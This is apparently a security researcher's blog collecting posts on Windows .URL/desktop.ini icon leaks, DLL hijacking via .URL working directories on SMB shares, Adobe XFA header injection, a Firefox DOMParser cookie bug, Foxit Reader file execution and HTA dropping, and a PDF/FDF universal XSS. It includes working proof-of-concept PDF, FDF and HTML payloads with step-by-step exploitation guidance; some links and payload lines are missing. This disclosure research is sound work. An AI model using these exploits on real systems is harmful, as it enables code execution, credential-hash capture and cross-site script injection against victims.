Monday, August 20, 2018

Leaking Environment Variables in Windows Explorer via .URL or desktop.ini files

I recently discovered an interesting behavior how explorer.exe handles defined icon resources for certain file types

IconFile property

The .URL file format as well as desktop.ini allow to define icons. In case of .URL files, this icon will be used for the .URL file itself - desktop.ini defines the icon of the folder it is placed in.
I will only describe the behavior of .URL files but for desktop.ini the behavior is almost identical.
Basically all you need to do is to create a .URL file either in a local folder or maybe on an USB stick.
The important property to specify is the IconFile property. Not only does it allow to specify remote icons on a SMB share but additionally it allows to use environment variables.
That means  as soon as explorer.exe views a folder, which contains a .URL file, it will lookup any specified environment variable like %PATH% or %USERNAME% before sending the actual request, therefore leaking its content to the attacker controlled server.
In case the specified remote server (eg. has no open SMB ports Windows will fallback to Webdav, which is using port 80. But this fallback mechanism does not always work properly:



In case you want to leak environment informations, which are compatible with DNS, you can use the following structure:


In case you want to try this behavior yourself:

  1. Create leak.URL in any folder
  2. Use the payloads described above and use your own domain for the IconFile property
  3. Open the folder, which contains the created .URL file in step 1, with windows explorer.
  4. Wait for explorer to send the request
// this behavior was tested on Windows 10 - but should work on any Windows system as .URL was introduced in Windows 95 

In case you are wondering: If SMB is available you can use Spiderlabs Responder tool to listen for hashes. 
The reason for the support of environment variable is that in case you want to use default icons installed by Windows, you can use the environment variables to specify the Windows directory (as is it not ensured that Windows is installed on C:\windows)
Regarding the support for remote icons - I think this is just an oversight

Regarding the use cases: Maybe this could be used for red teaming scenarios. As an example, you could drop USB sticks in front of a company and each of them contain a .URL file in the root directory. As soon as an employee is viewing the USB stick a request will be triggered and therefore confirming that it was used on a company PC (without the requirement of any malware/exploit/modified usb firmware)

Friday, May 18, 2018

DLL Hijacking via URL files

This blogpost describes how I got annoyed by vulnerabilities in 3rd party Windows applications, which allowed to execute local files but without parameters. So I decided to find a vulnerability in Windows itself to properly exploit them.

The Problem

On multiple occasions I encountered an application with a vulnerability, which would allow to execute a local file. This means an attacker controlled string ended up in a Windows API call like ShellExecute although the system call itself does not really matter. The problem was that I was not able to control any parameters eg. I was able to pass file:///c:/windows/system32/cmd.exe but could not actually execute any malicious payload. And just opening cmd.exe, calc.exe, powershell.exe etc. is kinda boring.
So I started to brainstorm how I can abuse this kind of vulnerability and be able to actually execute my own program code:

Abusing the download folder

The first idea, which could come to mind, is abusing the vulnerable application to trigger a download of a file. As soon as the file is downloaded the vulnerability could be triggered again and the downloaded file gets executed. This approach has two problems:
1) It requires that I am able to trigger a download of a file without user interaction
2) Even if the requirement of step 1 are fulfilled, Windows has another hurdle: The Zone model for downloaded files or to be exact: Zone.Identifiers

Zone Identifiers 

In case a file is downloaded (eg. via the web browsers) Windows adds an Alternative Data Stream called Zone.Identifier to the file. Simplified speaking: An Alternative Data Stream is data (binary, text etc), which is not stored in a file itself but instead attached to another file. The Syntax to read an ADS is the following: <realfileOnDisk>:<ADSName>.
In case of a downloaded file this additional information describes the zone the file was downloaded from. I am not going into all the details of this model and its implications but to keep it short: In case a file is downloaded from a domain like, it gets assigned a Zone ID of 3:

>dir /R downloaded.exe
>notepad downloaded.exe:Zone.Identifier

As soon as the ZoneId is > 2 Windows will show the following warning dialog for potential insecure file extensions:

Figure 1: Warning Dialog

This means that I have to find an extension, which not only allows me to execute a malicious payload but additionally is not covered by this protection scheme as I want to avoid the necessity of a user click. As this feature has been around for quite a long time I decided to move on.
I have to mention that I discovered that certain 3rd party extensions like Pythons .py files bypass this protection but this requires that Python is installed and the python executable is present in the environment variable.


After I dismissed the idea of downloading files I moved on to SMB/UNC paths. On Windows it is possible to open and execute files from remote SMB shares by using the file:/// protocol handler:


My first naive thinking was: As the file is hosted on a remote SMB share, there is no Zone.Identifier ADS present and therefore any file should execute without any problems. All I need to do is create a malicious file and host it on my SMB Share, make it publicly accessible and pass a proper file:// protocol URL to the vulnerable application....
Yeah thats not how it works. Just have a look at the following examples:


This will display the same warning dialog as shown in Figure 1. As I didn't want the need for a user-click I started to get frustrated. As a last resort I started to use lists of malicious file extensions on Windows, which were abused by malware in the past and added some of my own ideas. I then created a file for each extension and uploaded them to my remote SMB share and executed them.

The start of the solution - .URL 

After finishing the enumeration I discovered that .URL files are executed from remote SMB shares without any warning dialog (file:// I was familiar with the following .URL structure :

Link to a local file:

Link to a HTTP resource:

Once again this does not allow to pass any parameters so it seems like we are right back at the beginning. But thankfully someone already documented all the supported properties of .URL files so I decided to have a look:

The classic URL file format is pretty simple; it has a format similar to an INI file:

Sample URL File:



I think the WorkingDirectory directive is self explanatory but it allows to set the working directory of the application, which is specified by the URL directive. I immediately thought about DLL Hijacking. This kind of vulnerability was especially abused in 2010 and 2011 but is still present to this day. In case an application is vulnerable to DLL Hijacking it is possible to load an attacker controlled DLL from the current working directory instead of its application folder, windows folder etc.
This gave me the following idea:


Maybe I can specify a standard Windows Application via the URL directive, set the working directory to my SMB share and force it to load a DLL from my remote share. As I am lazy I created a simple python script with the following logic:

  1. Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default. 
  2. Create a .URL for each enumerated applications on a SMB share. Of course the URL directive points to the targeted application and the WorkingDirectory is set to the remote SMB share. 
  3. Get a list of all the currently running processes as a base comparison.
  4. Start ProcessMonitor
  5. Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share.
  6. Execute a .URL file eg file://
  7. Get a list of all the currently running processes
  8. Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources.
  9. Repeat step 6,7 and 8 until all created .URL files were executed
After the script is finished, ProcessMonitor will contain the list of potential executables, which could be vulnerable to DLL Hijacking. The next step is to check the stack trace of each entry and look out for LoadLibrary - this is the most obvious and simple way to start checking for a potential DLL Hijacking (I am aware that my approach is far from perfect - but I just hoped it is good enough to find a solution) 

I run this script on a laptop with Windows 10 64 Bit. In case you want to try this approach yourself, remove audit.exe from your list as it will restart the PC. 

The results

First of all my results contained a lot of false positives, which is still confusing for me to this day as given my understanding this should not occur.
As I am publishing this blogpost it is easy to guess that I succeeded. My first vulnerable application were sadly related to the touch-pad of my laptop, so I dismissed them. To cut things short - I discovered the following Procmon entry:

I placed my own DLL, which creates a message box in case it gets loaded, on the SMB share and renamed the DLL to mscorsvc.dll. Now I executed the .URL file, which loads mscorsvw.exe, again and observed this:

My DLL was successfully loaded from the remote share (yes in this case I used localhost)! Additionally the message box of my DLL was displayed, ergo my own code was executed!

To be sure I verified this behavior by setting a static DNS entry in the C:\windows\system32\drivers\etc\hosts file and mapped to another windows instance on my LAN. Afterwards I tested the PoC by placing the .URL file and the DLL file on the local machine, created a fully accessible smb share and executed the payload from my test machine. Of course it worked :)

So all in all this is the Proof-of-Concept I came up with (btw this is not the only vulnerable application I discovered):


mscorsvw.exe will load mscorsvc.dll from the remote smb share! 

To sum up the attack:
  1. A vulnerable application allows to execute a file but without parameters
  2. I abuse this vulnerability to load file://
  3. poc.URL contains structure posted above
  4. My malicious mscorsvc.dll will be loaded -> WIN

There are still some problems with my Proof-of-Concept: First it requires that the targeted victim allows outbound SMB connections. Additionally the vulnerable applications I discovered are all located in WinSxS and their path contain version information - this means the windows version,language + application version can influence the path.

Note: Additionally this kind of attack works in case a victim uses explorer.exe to view the remote SMB share and double clicks the .URL file. 


I reported this issue to Microsoft and they confirmed that they could reproduce it.
Afterwards I got the following response:


Can you still reproduce with the following registry setting enabled? We are seeing CWD network share DLL loading stopped by setting this registry key.

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]



I verified that setting this registry key (a restart is required) stops the loading of DLLs from a remote SMB share and therefore blocking this attack vector .  Afterwards I got permission to publish this blogpost:


Thank you for confirming; the engineering group has advised that since the registry key blocks the attack this doesn't represent something we would address via a security update since users can protect themselves. 

Absolutely; no concerns from our side with you publishing especially if you're including the details on how to protect against it. [...]


Wednesday, May 2, 2018

Adobe Reader PDF - Client Side Request Injection

Some time ago I discovered a way to inject new lines in a POST request triggered by the Adobe Software/ActiveX. This allows to add new headers or completely modify the created requests.
For example you can inject headers like: Referer, Content-Length, Host, Origin etc, which is normally not allowed (eg via XHR) as it can be abused to bypass certain security checks implemented by websites.
Additionally it is possible to create a completely new request by abusing HTTP pipelining.
One more important information: This injection is not limited to POST requests as you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header.

With this vulnerability it is my first time doing full disclosure without reporting the bug itself beforehand (or doing a presentation). I have no specific motivation to do so, maybe it is because the good times of PDF's rendered by Browsers is almost over. Additionally the impact is really limited and even requires that the users browser is using Adobes ActiveX plugin.


The XFA specification defines an element called <submit>. It allows to send the rendered XFA form to a specified URL via a HTTP POST request. In case the PDF is rendered in a web browser, the location will be changed to the specified URL. To give the user some additional control, it is not only possible to define the xdp content (eg the parts of the form, which should be submitted) but additionally the charset encoding. As soon as I saw that the triggered POST request contains the defined charset, I tried injecting new lines. To my surprise this worked without any problems therefore allowing me to modify the request at my will. 
I recommend to try it yourself ( start IE with the latest Adobe PDF ActiveX, which should be present when you install the Adobe PDF reader ). As soon as the PDF is loaded it will automatically trigger the POST request, no user interaction necessary.

Tested ActiveX version:

Adobe Acrobat Reader DC version:

Technical notes

Normally I use the initialize event to trigger the execution of any field as it is the first event to trigger but in this case it does not work. In case the initialize event is used, the POST payload is almost empty (make sense as the XFA DOM is still not properly merged), the charset is set in the header, but neither is the POST payload encoded accordingly nor does the injection work. Therefore the PoC is using the docReady event, as it is fired as soon as the DOM/document is properly merged.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by InsertScript 

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
<xdp:xdp xmlns:xdp="">

    <subform name="_">
        <field id="Hello World!">
            <event activity="docReady" ref="$host" name="event__click">
                     textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"
                     xdpContent="pdf datasets xfdf"

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
            /XFA 1 0 R
        /Pages <<>>

Triggered HTTP request:

POST /test HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/vnd.adobe.xdp+xml; charset=utf-16
test: test
Accept-Language: de-DE

Tuesday, November 14, 2017

Firefox - settings cookie via DOMParser

Firefox < 57 - settings cookie via DOMParser

While doing some research I discovered a interesting behavior in Firefox.
The following JavaScript code stores a XHTML document as a string in the meta variable.
Afterwards the variable is parsed via the DOMParser interface, which returns a valid XMLDocument:

meta = `<html xmlns="">

  <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppt=qqq' />

  some content

var parser = new DOMParser();
meta = parser.parseFromString(meta, 'application/xml');

While parsing the defined XHTML structure, Firefox parses the meta tag and sets the cookie pppt=qqq. You would assume the cookie would be solely in the context of the XHTML document but I discovered that it is actually set on the domain executing the PoC.

This means, in case a website eg. is parsing an user controlled string via DOMParser, it is possible to set cookies for It must be noted that this behavior is only present for xml/xhtml context inside parseFromString, text/html does not suffer from this vulnerability.

So - is that really interesting??? Yeah, lets set cookies via a PDF!

I actually discovered this vulnerability while I had a look at the implementation of PDF.js.
Lets have a look:


function Metadata(meta) {
  if (typeof meta === 'string') {
    // Ghostscript produces invalid metadata
    meta = fixMetadata(meta);

    var parser = new DOMParser();
    meta = parser.parseFromString(meta, 'application/xml');

Some background information: The PDF standard defines two ways to define metadata of a document. As the old way was limited in the amount of info an author could add, another metadata object was added, which is an XML structure. PDF.js is parsing this XML structure to extract the information. This is done by passing the structure to the DOMParser, therefore being vulnerable to the cookie vulnerable described above.

I reported this vulnerability to Mozilla as well as to the PDF.js team. PDF.js decided to drop the call to DOMParser as it was an overkill and switched to SimpleXML parser to parse the metadata structure. Firefox Nightly was already patched and it finally landed in Firefox stable.

The following example PDF is demonstrating this behavior. I modified an example PDF published by corkami:

1 0 obj
% /Type /Catalog
/Pages 2 0 R
    /AcroForm 5 0 R
    /Metadata 14 0 R

2 0 obj
/Type /Pages
/Count 1
/Kids [ 3 0 R ]

3 0 obj
/Type /Page
/Contents 4 0 R
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Arial

4 0 obj
<< /Length 47>>
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj

5 0 obj
<< /DA (/Helv 0 Tf 0 g ) 
/DR << /Encoding << /PDFDocEncoding 10 0 R >> 
/Font << /Helv 11 0 R /ZaDb 12 0 R >> >> /Fields [ 13 0 R ] >>

10 0 obj
<< /Differences [ 24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /tilde 39 /quotesingle 96 /grave 128 /bullet /dagger /daggerdbl /ellipsis /emdash /endash /florin /fraction /guilsinglleft /guilsinglright /minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /quoteright /quotesinglbase /trademark /fi /fl /Lslash /OE /Scaron /Ydieresis /Zcaron /dotlessi /lslash /oe /scaron /zcaron 160 /Euro 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logicalnot /.notdef /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu 183 /periodcentered /cedilla /onesuperior /ordmasculine 188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis ] /Type /Encoding >>

11 0 obj
<< /BaseFont /Helvetica /Encoding 10 0 R /Name /Helv /Subtype /Type1 /Type /Font >>

12 0 obj
<< /BaseFont /ZapfDingbats /Name /ZaDb /Subtype /Type1 /Type /Font >>

13 0 obj
<< /AP << /N 20 0 R >> /DA (/Helv 12 Tf 0 g) /DS (font: Helvetica,sans-serif 12.0pt; text-align:left; color:#000000 ) /DV (<h1>aaaa) /F 4 /FT /Tx /Ff 33554432 /MK << >> /P 17 0 R /RV (<h1>aaaa) /Rect [ 113.334 752.844 407.626 801.577 ] /Subtype /Widget /T (Text1) /Type /Annot >>

14 0 obj
<</Length 2565/Subtype/XML/Type/Metadata>>
<html xmlns="">
  <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppa=qqq' />
  some content

/Root 1 0 R
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012

Sunday, August 20, 2017

A tale about Foxit Reader - Safe Reading mode and other vulnerabilities

Some days ago someone send me the following link, which describes two vulnerabilities in Foxit Reader:

These two vulnerabilities are similar to the behavior of Foxit Reader I presented at Appsec Belfast 2017. Unfortunately the recording was never published, so I decided it's time for a blog post to give some additional information about these vulnerabilities.

First I have to describe the implemented security model in Foxit Reader.

Safe-Reading mode

Foxit Reader implements a one-line defense, the so-called "Safe-Reading mode". It is enabled by default. In case it is enabled it prohibits the execution of scripts and other features, which can harm the security of the end user.
During my presentation I said, that this feature should never ever be disabled.

In case a vulnerability requires a disabled "Safe-Reading mode", Foxit will mostly not patch it. This is true for the two "vulnerabilities" described in the link above.

Apparently Foxit decided to provide a patch for the two vulnerabilities mentioned in the hackernews blog post.

Short quote extracted from the Foxit statement:
"Foxit Software is deeply committed to delivering secure PDF products to its customers. Our track record is strong in responding quickly in fixing vulnerabilities [...]"

Foxit contacted me and stated that they are fixing my vulnerabilites, which are described in this blogpost, aswell. 

So lets continue talking about my similar findings, one of which is still unfixed.

Execute local file  

Reported: 5.5.2017 to Foxit Security team
Security bulletin released: 4.7.2017
Function call:
Reality: Still Unfixed. Not protected by Safe-Reading mode!
Tested Foxit version:

CVE-2017-10951 is abusing the app.launchURL JavaScript call to execute a local program, without any user interaction. I am using another function with a similar functionality called
By reading the specification it can be seen that normally these functions accept a URL, which is opened in a new browser window. So far so simple.
I assume CVE-2017-10951 used the same URL I did to execute a local program (I am not 100% sure as no exact details are public).

Instead of passing a http/https URL to I used the file:/// protocol handler. To execute cmd.exe. The following file:/// URL is enough:"file:///c:/windows/system32/cmd.exe");

One difference between app.launchURL and is this one: is not protected by the safe reading mode or as I described in my email to the Foxit security team:

The XFA standard defines the function call, which
should load an URL. I discovered that this function is not protected by
the Trust Manager, nor does it check the specified protocol.
The following example will open "cmd.exe" without any user interaction:"file:///C:/windows/system32/cmd.exe");

I have no idea why Foxit did not patch my vulnerability but hopefully they do now!
Note: This is not a full "Safe Reading Mode" bypass. This only works for this exact function call!

Have fun with the PoC (it opens cmd.exe and calc.exe. When you close the PDF it will open explorer.exe):

File execution - limitations:

1) It is not possible to pass parameters to the executed program. Maybe it is possible via app.launchURL but the text/video does not contain any hint that this is the case.
2) When the file:/// protocol handler is pointing to an executable, which is stored on a SMB share, the Windows operating system will trigger a warning box asking the user for confirmation to execute the program.
3) In case the handler is pointing to a currently downloaded file (most likely via the web browser), Windows will once again ask the user for confirmation before the program is executed. Downloaded files contain a so-called "Zone Identifier". This identifier contains information about the source of the executable. In case a file is downloaded from a website like, it will contain a Zone Identifier of 3. A ZI of 3 always triggers a warning dialog before the file is executed (note: there are some exceptions to this rule).

I am aware of one possible way to bypass these restrictions but this will require another blog post ;) 

Drop a file to the local file system

I reported my finding in 2016 via ZDI in combination with the safe-reading mode bypass:

Reality: Patched in combination with the Safe-Reading mode bypass in 2016. It is still working with disabled Safe-Reading mode (as intended I assume)

Lets move on the next vulnerability described in the link above.
Once again I used a different function call with the same functionality. I think you can see a pattern ^^.
CVE-2017-10592 is using the this.saveAs function call to drop a file to the local file system. I always used the function to achieve the same functionality. Both function accept a device independent path (the PDF way to define a local path, independent of the operating system) to store a file. As the file path is completely user controlled, the file extension can be chosen freely.
In case of the saveAs function, the stored PDF file itself can be converted to other file types  although I do not know if Foxit Reader actually supports this functionality.
The function call exports a XML structure. As it is either really difficult or even impossible to drop a valid executable (as the attacker has no full control of the content of the file), the easiest way to exploit this kind of vulnerability on the Windows operating system is dropping a HTML application (.hta).
A HTML application behaves like a normal HTML file (eg. any characters, which are no valid HTML elements are happily ignored) but it has access to powerful JavaScript API calls, which allow to execute programs with parameters, local file access and more.
All the attacker has to do is embedding a valid script tag inside the PDF structure and ensure that is stored in the created HTA file.

By dropping this kind of file into the startup folder, the attacker just has to wait for the victim to restart his PC. In case the attacker does not want to wait for a restart, he can drop his malicious HTA file and use the before mentioned functionality to immediately execute it (the dropped file does not have a Zone Identifier).

Proof-of-Concept (the PoC stores no real payload in the dropped file):
1. Open the PoC in Foxit Reader
2. Disable Safe Reading mode
3. Restart Foxit Reader
4. Open the PDF
5. Close it. A file called evilHTA.hta will be dropped on the desktop.


In case you are wondering why the onclose event is used, I can tell you a near null exception crashes Foxit Reader.

So this was a short introduction about Foxit Reader and why you should never disable the Safe Reading mode.

But wait... is there a way to bypass the "Safe-Reading mode"?
The following bypass is fixed but maybe it inspires someone to search for new bypasses :)

[+] Fixed: Safe-Reading mode bypass 

When I started to play with Foxit Reader I did not read anything about the implemented security and instead just jumped right into it.
I used different functions, which I know could introduce security problems until I tried
Suddenly my file was dropped without any user interaction. My first reaction was: "WTF? This can't be real. There should be some security protection in place."
So I started to research and discovered: I bypassed the safe-reading mode without even realizing it ^^

Basically what I used while researching was XFA. XFA is a XML structure defined in the PDF standard, which defines everything related to forms in PDF.
It allows to define buttons, text boxes and more. Additionally, similar to HTML, you can react to events triggered for each element and the document itself.
This allows you to specify JavaScript, which is executed as soon as the event is fired. A simplified example to understand the concept is provided by corkami:

In my case I reacted to the "initialized" event for my created button element.
As you can possible guess, this event is fired every time the element is initialized and therefore it fires really early during the parsing of the PDF structure.
And this was all needed to bypass the "Safe-Reading" mode. Apparently the event fired so early that the mode was not initialized or they forgot to apply it for this event too.





Wednesday, May 24, 2017

PDF - FDF UXSS via trusted document (spoiler - requires a click :/ )

FDF: the file Forms Data Form

In this blogpost I disclose some additional information about a vulnerability I showed during my presentation at Appsec Belfast 2017. 
In the presentation I showed that it is possible to trigger JavaScript execution in any web page as soon as a PDF is trusted.
Although I am aware that a trusted PDF has quite a lot of permissions, I want to explain in this post how FDF can be used to execute JavaScript in a targeted domain.


What is FDF

In this post I am not going to talk about PDF at all, as the used PDF for this attack does not matter. It just needs to be properly rendered inside the browser and be hosted on the same domain as the injected FDF (eg. your own server like

So what is FDF. FDF is a file structure, which allows to exchange field values, Javascript, annotations (eg. comments) and other information between PDFs. There are different ways to load this type of files into a PDF, but I will focus on one particular as it is the simplest one.
The structure of a FDF is defined in the PDF standard: Link to the standard:

It has a similar structure to PDF but I am not going into any details.  The reason being is that FDF defines two keys in his root structure we are going to use for this attack:

/F: The source file or target file: the PDF document file that this FDF file was exported from or is intended to be imported into. 

/Target: The name of a browser frame in which the underlying PDF document is to be opened. This mimics the behavior of the target attribute in HTML tags. 

Basically these two keys allow us to define the PDF, which the FDF belongs to and the window name it is currently loaded.

What do you think happens if we define the following keys:

/F (javascript:alert(location))
/Target (anywindowname)

As long as the PDF, which loads the FDF, is not trusted, you will get a warning box that tells you that certain features are blocked and you need to trust this PDF.
As soon as you trust the PDF, the specified URL in /F key is actually injected in the targeted window name. If it happens to be that the tab, with the specified name, has eg. loaded, the JavaScript will be executed in the context of

By looking at the specified index.html, you will see that I use the PDF open parameters to load a FDF file. The specification for this behaviour can be found here: PDF open parameters

But enough of the details. Here is a step by step guide, with the payloads copy&paste ready:

1. Save index.html, test.pdf and test.fdf in the root of your web server. My index.html script assumes your web server runs on 
2. Open in IE (with the Adobe PDF plugin installed) 
3. Click: Load Victim Page (this opens a new tab)
4. Click: Load PDF
5. You will see a yellow warning sign. Click trust this document once
6. Given that my PDF is really simple, you will get a dialog: There was an error parsing this pdf document (just ignore it, you could also use a valid PDF, but then I couldn't copy&paste it in my blog because of the size)
7. After you clicked that you trusted the document once, nothing will happen but the yellow warning sign is not displayed.
8. Click the UXSS button. An alert should show up in the victim page (in my default example:

// Edit: was so kind to host the PoC on his webserver.
// He modified the FDF payload, so that document.cookie will be alerted

If any problems occur: Write me on twitter @insertscript:
Note: Why I am disclosing this? It requires clicks and yes I am aware that clickjacking could help but given that most of the time users only need to click once or maybe twice to execute a local program, I feel quite safe disclosing this vulnerability. 
Maybe you find a way to bypass the warning popup! 

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<h2>Enter URL you want to UXSS</h2>
<input name="url" type="text" value="" id="url"/>
<button value="Fire1" onclick="step1()">Load Victim page</button><br><br>
<h2> Yeah lets load the PDF</h2>
<h2> As you will see you need to click: trust this document once</h2>
<button onclick="step2()">Load PDF</button>
<h2>Click to alert the location of the victim!</h2>
<button onclick="step3()">UXSS</button>
<div id="placeholder"/>
function step1(){
w =,"attack");

function step2(){
a = document.createElement("iframe");
a.height = 1000;
a.width = 1000;
function step3(){
a = document.createElement("iframe");
a.height = 0;
a.width = 0;
a.frameborder = 0;


/Root 1 0 R

1 0 obj
/Type /Catalog
/Pages 2 0 R

2 0 obj
/Type /Action


1 0 obj
<</FDF<</Annots[2 0 R]
/Target (attack)
/F (javascript:alert(location))
2 0 obj
/C[1.0 1.0 1.0]
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/Page 0
/RC(<?xml version="1.0"?><body xmlns="" xmlns:xfa="" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[0 0 0 0]

<</Root 1 0 R>>